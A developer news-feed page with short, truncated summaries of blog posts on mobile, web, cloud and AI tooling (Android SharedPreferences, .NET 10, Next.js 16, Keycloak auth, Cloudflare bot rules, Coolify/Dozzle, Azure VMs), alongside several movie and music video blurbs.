    A lot of people ask me why I hate SharedPreferences, and at my job some people are even arguing with me that SharedPreferences are a good thing and that they don't lead to any problems whatsoever. But from my six years of development experience and more than 15 projects, I know that SharedPreferences are literally the number one cause of ANRs in many popular apps and third-party frameworks. You will always have ANRs because of them, no matter what you do (no, edit doesn't help!). And in this post I will spill expose why you should remove SharedPreferences from your project ASAP. The problem isn't how SharedPreferences are implemented internally - it's in the paradigm of providing synchronous access to disk data. A priori, this will always lead to problems, because by definition of synchro…  ( 15 min )
    AI, Robotics, and Tech Innovations Drive Business and Consumer Advancements Across Multiple Sectors.
    Exploring the Frontiers: Humanoid Robotics, LLM Advancements, and Cybersecurity Imperatives This post delves into a series of cutting-edge developments across AI, robotics, business, and cybersecurity. We'll examine: Xpeng's IRON Robot: A sophisticated humanoid robot showcasing advanced AI and bionic capabilities, capable of mimicking human movements and processing billions of operations per second. Polaris Alpha (GPT 5.1): The public beta release of what is widely believed to be GPT 5.1, offering unprecedented free access on OpenRouter with a significant context window (256K) and output limit. Fruitist's Unicorn Status: A remarkable case study of a startup transforming a simple commodity (blueberries) into a billion-dollar enterprise, highlighting innovative business models. Google's Gmail Security Alert: An urgent warning to 3 billion users regarding password vulnerabilities, emphasizing the critical need for robust cybersecurity practices. Next-Gen Quantum Dots: Advancements in display technology poised to bring consumer TVs closer to true HDR color standards. Domestic AI Hardware: Minghe's launch of the MS-R1, a mini AI workstation featuring the world's first Arm-based platform with a domestic CPU, signaling a shift in hardware development. NotebookLM Enhancements: Google's ongoing efforts to refine AI-powered research tools. TikTok's Lead Genie: A new AI chatbot aimed at enhancing user interaction and lead generation on social platforms. Vivo X300 Series: Innovations in mobile technology, including a 200MP Zeiss telephoto lens. AI's Data Center Demand: The escalating need for data center infrastructure to support AI growth, with a focus on energy efficiency and future concepts. Join us as we unpack the technical intricacies and market implications of these transformative technologies. #AI #Robotics #LLM #Cybersecurity #Hardware #DisplayTech #Stelixx #StelixxInsights  ( 7 min )
    What Is Depreciation in the Age of Cloud and SaaS Assets
    When people ask what is depreciation, the answer used to be simple. You bought equipment, used it for a few years, and its value dropped as it aged. Every server or laptop had a predictable life cycle and a clear replacement point. Today, that picture has changed. Most IT environments now rely on cloud platforms and SaaS tools that are rented, not owned. These digital assets do not wear out, but they still lose value when they become outdated, underused, or too costly to maintain. That is why businesses need to rethink what depreciation means in the cloud era. It is no longer just about physical wear and tear but about understanding how digital assets lose efficiency, usefulness, and return on investment over time. What Is Depreciation To understand how the cloud has changed asset manage…  ( 12 min )
    🚀 *Top Tech Skills to Boost Your Career in 2025* 💼✨
    🔹 Cloud Computing — AWS, Azure, Google Cloud 🔹 AI & Machine Learning — TensorFlow, PyTorch, Scikit-learn Cybersecurity — Ethical hacking, risk management 🔹 Data Analysis — SQL, Excel, Power BI 🔹 DevOps — Docker, Kubernetes, CI/CD pipelines 🔹 Mobile Development — Swift, Kotlin, Flutter 🔹 Web Development — React, Angular, Vue.js 🔹 Blockchain — Smart contracts, Solidity 🔹 UI/UX Design — Figma, Adobe XD 🔹 Project Management — Agile, Scrum, Jira 💬 Like for more!  ( 6 min )
    Create and run Windows on Arm virtual machines on AWS Graviton processors using QEMU and KVM
    Windows application developers are currently adding support for the Arm architecture because they want to enable native app performance on new Windows on Arm Copilot+ PCs. If you are looking for ways to build and test Windows on Arm software, you have several options to choose from. You can run Windows on Arm on a laptop, you can use cloud-based virtual machines, or you can leverage CI/CD platforms like GitHub Actions to access Windows on Arm. Another option is to create Windows on Arm virtual machines directly on Amazon EC2 instances running AWS Graviton processors. Read on to find out how to install and run Windows on Arm virtual machines on a Graviton-based EC2 instance. I have created two bash scripts to streamline the creation and management of your virtual machines. Here are the…  ( 11 min )
    The Hidden Cost of Event-Driven Architecture: Why Decoupling Can Triple Your Debugging Time
    After guiding numerous enterprises through architectural transformations, I've observed a recurring challenge: the transition to Event-Driven Architecture (EDA) often comes with unexpected complexities. Consider a scenario where your organization invests $300,000 in EDA to alleviate bottlenecks. Six months later, debugging time triples, operational costs soar by 40%, and your team is mired in tracing failures across distributed systems rather than innovating new features. This isn't an exception—it's a common outcome when the trade-offs of EDA aren't fully understood. The allure of EDA is undeniable: decouple services, scale independently, and mirror the agility of your competitors. However, many find that they have exchanged one set of issues for a more intricate one. In my experience acr…  ( 9 min )
    How We Integrated Licensed Fleets into a Global Ride-Hailing Platform
    This project was part of the development of a large international ride-hailing platform handling over 10 million rides per year. I led the design and implementation of the licensed fleet integration — a system that enabled more than 150 000 drivers to operate legally through partner taxi companies, processing 40 000 daily rides and ensuring full compliance with local regulations. In this article, I’ll share how we built this system end-to-end — from architecture and backend logic to admin dashboards and receipt processing — and what lessons we learned along the way. Before we implemented this feature, drivers in the ride-hailing app worked directly with us — they registered in the app themselves and, after completing a ride, paid a commission (about 8% per order). The goal was to shift fr…  ( 14 min )
    New Features in .NET 10 & C# 14 — The Expert’s Playbook (2025)
    .NET 10 (LTS) and C# 14 dropped today — November 11, 2025. As an LTS release, .NET 10 is supported through November 14, 2028. This post is your concise, code‑first tour of what's new across the stack: runtime, C#, ASP.NET Core, and EF Core 10. Because this release meaningfully changes how you start small (file‑based apps), how you compose APIs (Minimal API validation + OpenAPI 3.1), and how you model data (EF Core 10 complex types & JSON). And C# 14 is packed with quality‑of‑life and performance wins. What’s New in .NET 10 What’s New in C# 14 What’s New in ASP.NET Core in .NET 10 What’s New in EF Core 10 Other Changes in .NET 10 Migration Notes & Practical Tips Summary File‑Based Apps (single‑file C#) C# now behaves like a first‑class scripting language for CLIs and utilities. You can ru…  ( 10 min )
    Setting Up Solid Cache on Heroku with a Single Database
    I recently wanted to use Solid Cache for a new MVP I'm building out in Ruby on Rails. One thing I wanted was for this to all be deployed to a PaaS and in this case I was using Heroku. While I know Rails 8 pushes hard for Kamal and rolling your own deployment, for a lot of early projects it's nice to just have all the DevOps and CI/CD taken care of for you. This creates a problem when it comes to Solid Cache. Rails recommends running these with SQLite and in fact I have a production application using SQLite for everything that works amazing. However, Heroku is an ephemeral application server and as such, wipes out your SQLite stores on every deployment. Since this was an MVP I really just wanted to manage one database rather than introduce Redis or another instance of Postgres. After a lo…  ( 11 min )
    I Built an API-First Document Workflow Engine (Looking for Feedback)
    Hey everyone — over the last few months, I’ve been building SignumFlow, an API-first system for uploading documents and running programmatic workflows. I built this because most workflow/e-signature platforms are UI-first. They require you to send users to their hosted UI and work inside their UX expectations — which is great for non-technical teams, but restrictive if you want everything embedded directly into your product. I wanted something closer to Stripe-style developer ergonomics, but for docs + approval routing. So I built SignumFlow. Right now SignumFlow supports: Uploading documents Starting workflows (sequential + parallel routing) Retrieving workflow + document state Developer portal → get API keys, view usage, see quickstarts No UI is required, just call the API, handle respon…  ( 7 min )
    The Evolution of Sequential Learning Models: RNN LSTM Transformers
    Recurrent Neural Networks (RNNs) are used for processing sequential or time-series data by maintaining a hidden states that captures memory of past inputs within a sequence. They have a feedback loop, meaning each output depends on the previous inputs — making them ideal for tasks like sentiment analysis or speech recognition. However, RNNs face key challenges: Vanishing gradient problem – they struggle to learn long-term dependencies. Limited memory – as sequences get longer, they gradually forget earlier information. Long Short-Term Memory (LSTM) networks come into the picture as an improved version of RNNs, designed to solve the problems of vanishing gradients and long-term dependency. Unlike traditional RNNs, LSTMs have a memory cell that helps retain important information for longer durations — allowing them to "remember" context across longer sequences. Architecture Overview: Forget Gate: Decides which part of the previous cell state to keep or forget. Input Gate: It is actually the one that adds new information into the memory cell. Output Gate: Controls what information is passed to the next step. Real use case: Grammar correction tools like QuillBot, which rely on understanding long text dependencies to rephrase sentences accurately. However LSTM face key challenges: Computationally Expensive Requires more memory. LSTMs can’t analyze an entire sentence at once since they process information sequentially, step by step. Key Features: Capable of performing Sequence-to-Sequence tasks (e.g., language translation). Built using multiple encoder–decoder layers for deeper understanding.  ( 6 min )
    Building Real-Time Team Collaboration in ChartStud From Idea to Feature
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    Trabalhar para empresas internacionais não é impossível
    Trabalhar para empresas multinacionais ou internacionais pode ser desafiador, mas está longe de ser impossível. Trabalhar para uma empresa internacional parece um sonho distante até o dia em que você percebe que a maior barreira não está lá fora, mas dentro da sua cabeça. Muitos profissionais brasileiros têm qualificação técnica, mas se bloqueiam por causa do inglês, da síndrome do impostor ou simplesmente pela falta de informação sobre o processo. Muita gente nem se candidata porque pensa: “meu inglês não é bom o suficiente” ou “não vou dar conta”. Se o seu objetivo é trabalhar como contractor (PJ) para fora, abra seu CNPJ e pesquise sobre emissão de invoice internacional, contratos e recebimento por plataformas como Deel, Payoneer ou Wise. Nem toda vaga precisa ser internacional para ser…  ( 8 min )
    Talk Early, Fail Less: How Communication Builds Great Teams
    Every great product starts with people, not code. People Over Pixels, where I share the soft skills that I believe are more important than any framework, syntax, or architecture. In 1999, NASA lost the Mars Climate Orbiter, a $125 million spacecraft. Not because of bad hardware, or a complex bug, but because two brilliant teams weren’t aligned. One used imperial units. The other used metric. That story stuck with me because it shows something simple yet profound: Even the best engineers fail when they stop talking the same language. The best teams I’ve worked with didn’t avoid problems, they talked about them early. They didn’t guess what others meant, they asked. They didn’t hide mistakes, they shared them before they grew. shared understanding, so everyone moves in the same direction.…  ( 7 min )
    🔥 Why Your Deep Neural Network Fails at Layer 50 (And How ResNet Fixes It)
    TL;DR: 💡 Training networks deeper than 20 layers? You're probably hitting the degradation problem ✅ ResNet's skip connections solved what seemed impossible in 2015 📊 From 22 layers (AlexNet) to 152+ layers without accuracy loss 🎁 Pre-trained ResNet-50 gets you 76% ImageNet accuracy in 10 lines of code ⚠️ Understanding v1.5 vs v1 can save you 0.5% accuracy ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ Here's the counterintuitive nightmare that kept researchers up at night: Deeper networks should = better performance, right? Wrong. Catastrophically wrong. In 2015, teams were hitting a wall. Add more than 20 layers to your CNN? Watch your training accuracy decrease. Not overfit - just... fail. # What researchers saw: 20-layer network: 85% accuracy ✅ 56-layer network: 78% accuracy ❌ # This made ZERO sens…  ( 10 min )
    My Journey in Tech So Far: From Curiosity to Code
    If you told me a few years ago that I’d be spending hours debugging code, building AI projects, and genuinely loving it, I probably wouldn’t have believed you. This post is a reflection on how my journey in tech began, how it’s evolving, and where it’s heading. Like most tech journeys, mine started with curiosity that “how does this even work?” kind of curiosity. My first real taste of programming came when I wrote my first “Hello, World!” program. As I’ve been learning Computer Science, I’ve realized that technology isn’t just about syntax or tools it’s about problem-solving. I’m exploring different areas from web development to Artificial Intelligence and Machine Learning and each one fascinates me in its own way. I haven’t completely figured out where my path will lead, but that’s what makes this journey exciting discovering new interests, experimenting, and learning as I go. Tech has never been a smooth road. There were moments when code refused to run, errors made no sense, and motivation disappeared. What I’ve learned over time is this: Consistency matters more than speed. You don’t have to learn everything at once you just have to keep showing up. Funny enough, this is something my best friend always used to say, but back then, it didn’t really make sense to me. My journey in tech so far has been filled with curiosity, chaos, and constant learning and I wouldn’t trade it for anything else. If there’s one thing I’ve realized, it’s this: You don’t have to be an expert to start. You just have to start to become one. Here’s to building, breaking, fixing, and learning , one line of code at a time. Hi, I’m Aarthi , a Computer Science student specializing in Artificial Intelligence and Machine Learning. If you enjoyed reading this post, follow me for more blogs on AI, coding, and learning in public.  ( 9 min )
    Você criou uma API, mas não tem documentação? Eita... 😅
    Se você desenvolveu uma API e ela não tem documentação, temos um problema. exportar uma collection (Postman, Insomnia etc.) e deixá-la em uma pasta dentro do repositório. Isso facilita demais a vida dos coleguinhas devs que vão precisar testar, debugar ou integrar com a sua API. E quer saber o que é ainda melhor? endpoint com a documentação da API, por exemplo, usando Swagger. obrigatório por padrão. Não é difícil de implementar e traz muitos benefícios, desde a comunicação entre times até o onboarding de novos desenvolvedores. com anotações no código. Então... sem desculpas. Documente sua API. Você (e seu time) vão agradecer depois!  ( 6 min )
    Reinventar a roda: um erro que muitas empresas ainda cometem
    Ao longo da minha carreira, tive a oportunidade de trabalhar em diversas empresas e observar de perto diferentes culturas de engenharia e gestão. Uma situação que infelizmente se repete com frequência é o erro de tentar desenvolver internamente soluções que o mercado já oferece e que funcionam muito bem. O principal problema dessa prática é que, na maioria dos casos, essas ferramentas não fazem parte do core business da empresa. Isso significa investir tempo, dinheiro e energia em algo que não agrega valor direto ao produto principal. Enquanto isso, o time de engenharia deixa de focar naquilo que realmente diferencia o negócio. Vejo também outro comportamento preocupante: empresas que optam por seguir caminhos completamente diferentes do mercado, criando seus próprios processos, metodologias e até sistemas internos para controle de tarefas, enquanto existem soluções consolidadas e eficientes disponíveis. Ferramentas como Jira, Redmine e metodologias como Kanban e Scrum existem por um motivo: elas funcionam. Claro que podem (e devem) ser adaptadas conforme a realidade da empresa, mas ignorá-las completamente costuma ser um mau sinal. Já participei de entrevistas e projetos em que esse tipo de abordagem resultava em caos organizacional, com tarefas mal descritas, ausência de documentação, retrabalho constante e perda de produtividade. Muitas vezes, tudo isso acontece porque a empresa acredita que está inovando, quando na verdade está complicando o que poderia ser simples. Inovar não é necessariamente criar algo novo do zero. No fim das contas, reinventar a roda pode parecer uma boa ideia no início, mas quase sempre acaba custando caro e atrasando o que realmente importa: entregar valor ao cliente.  ( 7 min )
    Common WordPress Errors (And How to Fix Them Like a Pro) ⚠️
    So, your WordPress site just threw an error at you? Don’t panic—you’re not alone. In this guide, we’ll explore the most common WordPress errors, what causes them, and how to fix them—step by step—even if you’re not a tech wizard. What Causes It Plugin or theme conflicts PHP errors Memory exhaustion How to Fix It Disable plugins via FTP or cPanel by renaming the /plugins folder. Switch to a default theme like Twenty Twenty-Four to rule out theme issues. Enable WP_DEBUG in wp-config.php to identify PHP errors. Increase PHP memory limit by adding define('WP_MEMORY_LIMIT', '256M');. 2. Internal Server Error (500 Error) Common Reasons Corrupted .htaccess file Plugin or theme issues PHP memory limits Fixing the 500 Error Rename your .htaccess file to .htaccess_o…  ( 9 min )
    Ringer Movies: ‘Predator: Badlands’ and the 'Predator' Movie Rankings
    Sean Fennessey and Chris Ryan kick off with the scoop that Ryan Reynolds is eyeing an Amazon MGM remake of the ’70s crime flick Thunderbolt and Lightfoot before diving headfirst into Dan Trachtenberg’s Predator: Badlands. They make a strong case that Elle Fanning’s performance is what really sells the legacy sequel, praise Trachtenberg’s knack for jaw-dropping action set pieces, and marvel at its unexpected box-office triumph. After breaking down Badlands, they rank every Predator movie from best to… well, worst (but still fun) and even squeeze in a cheeky Sydney Sweeney chat at the end. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With Thunderbolts* (The New Avengers) In 20 Minutes Or Less
    TL;DR CinemaSins just dropped their “Everything Wrong With Thunderbolts* (The New Avengers) In 20 Minutes Or Less” video, dishing out all the nitpicks and “sins” in the new MCU flick—while cheekily admitting it might actually be pretty fun. They’re also hyping up their site, various YouTube channels (@TVSins, @commercialsins, @cinemasinspodcastnetwork), and social hubs via linktr.ee, plus a quick poll and Patreon link if you want to chime in or chip in. Behind the scenes, the sins are penned by a crew (Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, Daniel) whose social handles are listed, and you can keep the chatter going on Discord, Reddit, Instagram, or TikTok. Watch on YouTube  ( 6 min )
    Mr Sunday Movies: Predators - Caravan of Garbage
    Predators – Caravan of Garbage Review After a disappointing 1990 sequel and two lukewarm Alien vs. Predator outings, Predators (2010) blasts the franchise back to its jungle roots. A rag-tag group of misfits is dropped into a muddy deathmatch against the ultimate hunters, delivering classic thrills and a few fresh twists that outshine its predecessors. It’s easily one of Mr Sunday Movies’s favorite follow-ups—but sadly, we never got a proper sequel to this lean, mean reboot. Watch on YouTube  ( 6 min )
    One Country, Two Internets: How Edge Computing Solves Brazil's Connectivity Crisis
    We don’t realize how accustomed we are to having easy access to the internet. Every morning, we sit in our cars and check for traffic or the latest news without giving it a second thought. We don’t think about how it works. It just works. But what if it didn’t? Over the last decade, the Internet of Things (IoT) has changed the way we live and work. In countries like Brazil, the contrast is stark: a business owner in São Paulo enjoys 5G speeds while a farmer 200 kilometers away struggles with patchy 3G. This digital divide limits both business and personal opportunities. Despite the government initiatives, persistent obstacles continue to slow down the adoption of the IoT, ultimately holding back economic growth. ThingsBoard Edge offers a way forward. Unlike cloud-only IoT platforms that fa…  ( 8 min )
    Enriching the Search Experience
    Welcome to a series on Enriching the Search Experience by using Views with MongoDB Search! MongoDB lexical and vector indexes are built directly from the data in the associated collection. Every document is mapped through an index configuration into one, or more if using embeddedDocuments, Lucene documents. A mapping determines what fields are indexed and, primarily for string fields, how they are indexed. A mapping only can map what it sees - the fields on each available document. There are situations where filtering what documents are indexed is necessary, perhaps when archived is true. Rather than indexing all documents and filtering them out at $search time, we can simply avoid indexing them altogether. In this case, our index size will only be based on non-archived documents. And there's situations where enriching a document before it is indexed can enhance searches, such as indexing the size of an array rather rather than using a full collection scanning query-time expression. Index it like you want to search it - check out the recipes in this series to learn more.  ( 6 min )
    Designing Blockchain #2: Accounts and State
    Intro In the previous article, we created a simple blockchain from scratch, covering the fundamentals of blocks, hashing, and chain validation, but we left our transactions in a very primitive way. So, today we'll fix them, but before we do, we need to dive deeper into one of the most critical components of any blockchain system: accounts and state management. There are two most popular accounting models for blockchains: UTXO and account-based. It's worth mentioning that Sui blockchain implements a different approach — an object-centric data model, where everything is an object, but to my taste it's more like a customised UTXO model than truly something new. UTXO (UTxO, Unspent Transaction Output) is an accounting model where transactions consume previous outputs as inputs and create new…  ( 12 min )
    Build a Spring AI MCP Server With MongoDB
    In this tutorial, we're going to build a Model Context Protocol (MCP) server that connects AI models to MongoDB, using it to power a simple todo list application. If you've been working with AI applications, you've probably run into the challenge of getting LLMs to interact with your actual systems and data. That's exactly what the Model Context Protocol solves! It's quickly becoming the standard way to connect AI models to the real world. Whether you're building agents that need to query databases, access APIs, or interact with your company's internal tools, understanding MCP is becoming essential. By the end of this tutorial, you'll have a working server that exposes MongoDB operations as tools any MCP-compatible AI can use, and you'll understand the patterns for building your own server…  ( 16 min )
    Node.js Streams Explained
    What Moving the Pyramids Can Teach You About Node.js Streams 🏛️ Imagine you have a 3GB file that you need to upload/download using your Node.js server. How do you solve this task? Your first instinct as a Node.js developer might be to use an npm package. Sounds great to me! But what if I told you that while you're treating the file, you also need to add some business logic? Let's say, for example, the file is a CSV, and you need to keep certain lines and ignore others—while saving the ignored lines in a separate file. Can your npm package handle that? Probably. Is it easier, simpler, scalable? Probably yes. But now you need another package and more complex code in your codebase, which might affect performance. Now let's take a step back. Before downloading the package, did you ask you…  ( 9 min )
    Python basics - Day 25
    Day 25 – Method Overriding & super() Advanced Project: Build a “Company Management App” that demonstrates advanced method overriding and the use of super() to extend parent behavior. 01. Learning Goal By the end of this lesson, you will be able to: Redefine parent methods through overriding Extend parent behavior using super() Combine inheritance and customization effectively Write clean, maintainable OOP code with layered behavior 02. Problem Scenario You’re designing a company management system where all employees share common behavior (work()), but managers need to extend this logic with additional responsibilities. This lesson focuses on how overriding and super() can help reuse and enhance parent functionality. 03. Step 1 – Method Overriding A child class c…  ( 9 min )
    AgriCredit Africa: Building Trust and Financial Access for African Farmers
    Introduction For too long, smallholder farmers across Africa have struggled to access fair credit. Traditional banks see them as "high-risk," and local lenders often exploit them with huge interest rates. That’s where AgriCredit Africa comes in — a decentralized finance (DeFi) platform built to empower farmers through trust, transparency, and technology. Our mission is simple: “To make agricultural credit accessible, fair, and transparent — from the soil to the smartphone.” We’ve made massive progress since our initial prototype! Here’s what’s cooking in the latest update: We’ve implemented on-chain credit scoring and loan tracking using smart contracts. This means every transaction is immutable, transparent, and trustless — no shady intermediaries! Farmers can now create verified p…  ( 7 min )
    Handling custom web security rules, how do you do it?
    There is an increasing number of (not so friendly) bots that are scanning my site, and I created a custom Cloudflare ruleset to restrict their access. But I would like to know how you guys handle similar issues. Thanks! Here is my ruleset: Note, this can be pasted into an LLM and adapted for any other platform. Repo A set of security rules for protecting a public webapp. All the riles are below, you should split them into 3 separate sets: SKIP, BLOCK, CHALLENGE. NOTE: I am explicitly allowing googlebot to discover my sitemap and blocking everything else. You should remove the first line in the block rules and 2nd line in the allow rules if you don't like this approach. (http.request.uri.path eq "/robots.txt") or ((http.request.uri.path eq "/sitemap.xml") and (lower(http.user_agent) contai…  ( 8 min )
    Smooth Page Transitions with Zero Libraries: The View Transitions API
    I recently started using the View Transitions API in one of my projects, and honestly, it felt like unlocking a hidden superpower for the web. I had to share it. Not long ago, this API was just a Chrome experiment. But as of 2025, it’s officially everywhere, supported in Chrome, Edge, Safari, and Firefox, covering over 85% of browsers. It’s now powering everything from e-commerce sites to dashboards and blogs, making transitions feel native and seamless. Here’s what I’ve learned using it, and why you’ll probably want to add it to your toolkit too. The View Transitions API animates between two page states, toggling a UI mode, opening a modal, or moving between pages. It works whether you're updating part of a page or navigating between entirely different pages. The trick: give an element th…  ( 9 min )
    Non-Patent Literature Search for Invalidation: Expert Guide for IP Professionals
    Introduction In the fast-paced world of patent litigation, relying solely on patent databases is no longer sufficient. One overlooked research paper, a conference abstract, or a technical standard can significantly influence the outcome of a patent invalidation case. This is where a non-patent literature search for invalidation becomes essential. Non-patent literature (NPL) encompasses scientific journals, conference proceedings, academic theses, standards, and industrial reports. Unlike patents, these sources are unstructured, diverse, and often hidden across various databases. Yet, they frequently contain prior art that predates a contested patent filing, making them crucial for building a solid invalidation strategy. This guide will cover: The role and importance of NPL in invalidat…  ( 10 min )
    How to Use AI Models Locally in VS Code with the Continue Plugin (with Multi-Model Switching Support)
    AI-assisted coding has become a daily tool for many developers — from explaining complex code to generating entire functions in seconds. But most AI coding tools rely on cloud-based models like GitHub Copilot or ChatGPT, which means you’re always dependent on an internet connection, API tokens, and third-party privacy policies. What if you could bring that power entirely local, right inside VS Code, with no external API calls and the ability to switch between multiple models at will? That’s exactly what we’ll cover in this guide. You’ll learn how to use the Continue plugin in VS Code to run AI models locally using Ollama, and even set up multi-model switching for different coding scenarios. Before we begin, make sure you have the following: Visual Studio Code (latest version) Interne…  ( 8 min )
    https://youtu.be/LUYxxp5VgU4?si=hjPCd1bSwbqJ1aH5
    youtu.be  ( 5 min )
    I used AI for every task for two weeks
    Reflections after using Claude Code for everything I’m a frontend developer, and for two weeks, I decided to use Claude Code for literally every task at work. What started as a simple test quickly turned into a full-on experiment. I wanted to see what would happen if I fully committed to AI-assisted coding. During those two weeks, I worked on all sorts of tasks. Some were purely technical: implementing new features, fixing bugs, planning projects, reviewing code. Others were more organizational: writing documentation, preparing presentations, setting up meetings, creating tickets in Jira. No matter what it was, I tried to start with Claude Code. (Quick clarification, because the world of AI tools is getting crowded: Claude Code is an AI tool that works directly in your terminal, similar…  ( 10 min )
    Calendar API update for secondary calendars, create Workspace Flows custom steps, and more!
    Episode 24: Welcome to the Google Workspace Developer News! Find out what's new on the Google Workspace Platform. 0:00 Intro https://goo.gle/3JFQthr https://goo.gle/43My3lT https://goo.gle/43sBQEU https://goo.gle/3JsrVIG https://goo.gle/47DbwJH Subscribe to our YouTube channel: https://www.youtube.com/@googleworkspacedevs/ Subscribe to our Google Workspace Developer Newsletter: https://developers.google.com/workspace/newsletters #googleworkspacedevelopernews #googleworkspaceplatform Follow youtube.com/@googleworkspacedevs  ( 12 min )
    🧠 What you’ll learn in this article: - Which editor is faster ⚡ - Who wins on plugins, freedom & performance 💪 - Why some devs are switching (and some never will) 🧩
    ⚔️ Zed vs VSCode — Did Zed *Actually* Kill the King of Editors? Taha Majlesi Pour ・ Nov 11 #vscode #coding #ai #programming  ( 6 min )
    Setup Dozzle with Auth on Coolify
    I have been using Coolify for over a year to self-host on Hetzner and I am a big fan. However, I wanted a lightweight way to see how all of my websites were performing. I had used Dozzle in the past as a way to see logs, but it has drastically improved and can now show real-time resource information now as well. Adding authentication to Dozzle is not too challenging, however, I had to cobble together a few resources, so here is a step-by-side that I did for future me. In your deployed Coolify app, Resources->+ New Type "dozzle" in search bar Click Dozzle With Auth Update Service Name to "dozzle" Click Save Click Persistent Storages in the left side bar Click Files in the tab bar In a terminal on your local machine, run docker run -it --rm amir20/dozzle generate admin --password YOUR_PASSWORD --email YOUR_EMAIL_ADDRESS and copy the output Paste the output from your terminal into the Content text area under the Files tab in Coolify Click Save at the bottom of the text area (optional) Under Services, click Settings and update Domains to point to whatever domain you set up Click Start/Restart Dozzle dashboard: Dozzle logs:  ( 6 min )
    Creating A Windows Server Virtual Machine In Azure
    What is a Windows Server Virtual Machine? A Windows Server Virtual Machine (VM) is a virtualized computer instance that runs a Windows Server operating system (OS). How to create a windows server virtual machine. . In azure portal, search for virtual machine. . Create and on the dropdown select virtual machine. . On the basics tab, select resource group. . Select Region closest to you or the project you're building the virtual machine for. . Select availability zone. . Select security type "Standard". . Select image. . Create an Admin Account. . Select inbound ports. . Go to monitoring tab, and disable boot diagnostics. . Review and create. . Go to Virtual Machine overview then go to Networking and click on the IP to increase your virtual machine's screen time. . Save changes. . Connect your virtual machine. . Download RDP file and click on the arrow to connect to the virtual machine from your pc. . Key in password. . Welcome to windows server 2022 we created. Let's install IIS(Web Server) on our windows server. . Go to Powershell on the windows server. . In powershell run the command "Install-WindowsFeature -name Web-Server -IncludeManagementTools" . After the program runs at a 100%. . Copy Virtual machine Ip address and paste on a browser. . Paste IP Address on a browser. Thanks folks for following yet another edition.. Till the next post.  ( 6 min )
    Next.js 16: What's New? Turbopack, React Compiler & Key Features
    The Vercel team has kept its annual October tradition alive and just dropped Next.js 16. While previous versions (like 13 and 14) were about introducing the new App Router and Server Actions, this release is all about performance, stability, and polish. If you're a Next.js developer, this update is a big deal. It's not just new features; it's about making the entire development experience fundamentally faster. Let's break down the biggest features, complete with code examples. This is the headline feature. After years in beta, Turbopack is now stable and the default bundler for both next dev and next build. Previously, you had to opt-in using the --turbo flag. Not anymore. Turbopack is a Rust-based bundler designed to replace Webpack. It's incrementally fast, meaning it only builds what's …  ( 9 min )
    NPR Music: Nova Twins: Tiny Desk Concert
    Nova Twins storm into the Tiny Desk with a face-melting combo of hip-hop beats, mega-distorted bass and raspy yowls. London duo Georgia South and Amy Love kick off with the defiant “Cleopatra,” shred through the shadow-battling “Monsters,” and geek out over their “spaceship-sized” pedalboards as they prep for “Hummingbird,” complete with a supernatural Harp Blaster mic. The bass-heavy, no-holds-barred set flips expectations of what “nice girls” should play—capped off by the full-throttle rock anthem “Choose Your Fighter,” with Jake Woodward rounding out the trio on drums. Watch on YouTube  ( 6 min )
    Keycloak, WebSockets & Symfony: Solving Real-Time Auth Without Sacrificing Performance
    Greetings, fellow developers. I’ve seen teams master the art of stateless authentication, building beautiful, scalable REST APIs. But the moment the business asks for a real-time feature — a live chat, a notification feed, a collaborative dashboard — a new challenge emerges. We’re asked to secure a stateful WebSocket connection. In pet-projects we might have solved this with an internal JWT provider. But in today’s enterprise world, that’s rare. Authentication is almost always delegated to a central, external server: an SSO provider like Keycloak. This introduces a new, high-stakes problem. How do we validate a token from Keycloak? The obvious answer, token introspection (making an API call to Keycloak for every new connection), is a performance-bottleneck nightmare. It’s slow, it’s fragil…  ( 19 min )
    So true!
    Why CSS Is So Hard for Generative AIs to Understand? ASafaeirad ・ Nov 9 #llm #css #ai #vibecoding  ( 5 min )
    Rebuilding Grep in Go: What I Learned About Unix Text Processing
    I use grep every day but had no idea how it works. So I built a basic version in Go. Not to replace grep. Just to stop being the guy who pipes to grep without understanding what's actually happening. A stripped-down grep that does pattern matching with these flags: -i - Case-insensitive [](url)-n - Line numbers -c - Count matches -v - Invert (show non-matches) -r - Recursive search -l - Just list filenames Plus binary file detection and color output. That's it. No context lines, no fancy regex modes, no performance optimizations. When grep hits a binary file (executable, image, whatever), it says "Binary file matches" instead of filling your terminal with nonsense. How does it know? func IsBinary(filePath string) (bool, error) { f, err := os.Open(filePath) if err != nil { r…  ( 8 min )
    Day 1: Introduction to FinOps – What is FinOps and why it matters
    If you can’t see your cloud spend, you can’t manage it FinOps as a discipline and cultural practice still in development for cloud financial management. It enables organizations to gain the maximum business value by making data-driven cloud spending decisions jointly by departments of development, finance, IT, and business (Source: What is FinOps by FinOps Foundation). Why it matters: Prevents overspending on cloud resources. Helps teams make smarter financial decisions. Aligns cloud costs with business goals. How it works: Visibility: Everyone can see how much is being spent and on what. Optimization: Teams find ways to reduce waste, like turning off unused resources. Collaboration: Finance, tech, and business teams work together to make smarter spending decisions. Visibility is the first step to FinOps success  ( 6 min )
    Reverse-Engineering Vercel: The Go-to-Market Playbook That Won the Frontend
    Vercel, the company behind Next.js, isn't just a hosting platform; it's a masterclass in modern B2B go-to-market (GTM) strategy. They've built a multi-billion dollar valuation by creating tools developers genuinely love. But how did they do it? It's not magic, it's a meticulously engineered growth engine. In this strategy teardown, we're going to deconstruct Vercel's GTM plan piece by piece. We'll look at the code, the community, and the commercial strategy that turned an open-source framework into an enterprise juggernaut. This isn't just an analysis; it's a blueprint for any builder looking to launch a technical product. Vercel's strategy isn't a linear funnel; it's a self-reinforcing flywheel. Each part feeds the next, creating incredible momentum. Open Source (Next.js): Create a best-…  ( 9 min )
    Ringer Movies: ‘Snake Eyes’ With Bill Simmons, Sean Fennessey, and Van Lathan | Ringer Movies
    ‘Snake Eyes’ Deep Dive Bill Simmons, Sean Fennessey and Van Lathan (self-dubbed the “kings of the sewer”) reunite to revisit Brian De Palma’s 1998 thriller Snake Eyes, starring Nic Cage as a corrupt cop, Gary Sinise as the relentless investigator Parnell, and Carla Gugino as the mysterious Julia. They unpack the film’s tense set pieces, iconic score and De Palma’s signature visual flair to explain why this deck-of-cards–gone–wrong story still packs a punch. Show Notes & Sponsors Produced by Craig Horlbeck, Chia Hao Tat and Eduardo Ocampo, this episode is powered by PayPal—snag 5% cash back when you Pay in 4 all holiday season (offer ends 12/31). Don’t miss more Ringer Movies content; subscribe on YouTube and follow @ringer everywhere. Watch on YouTube  ( 6 min )
    Mr Sunday Movies: Predators - Caravan of Garbage
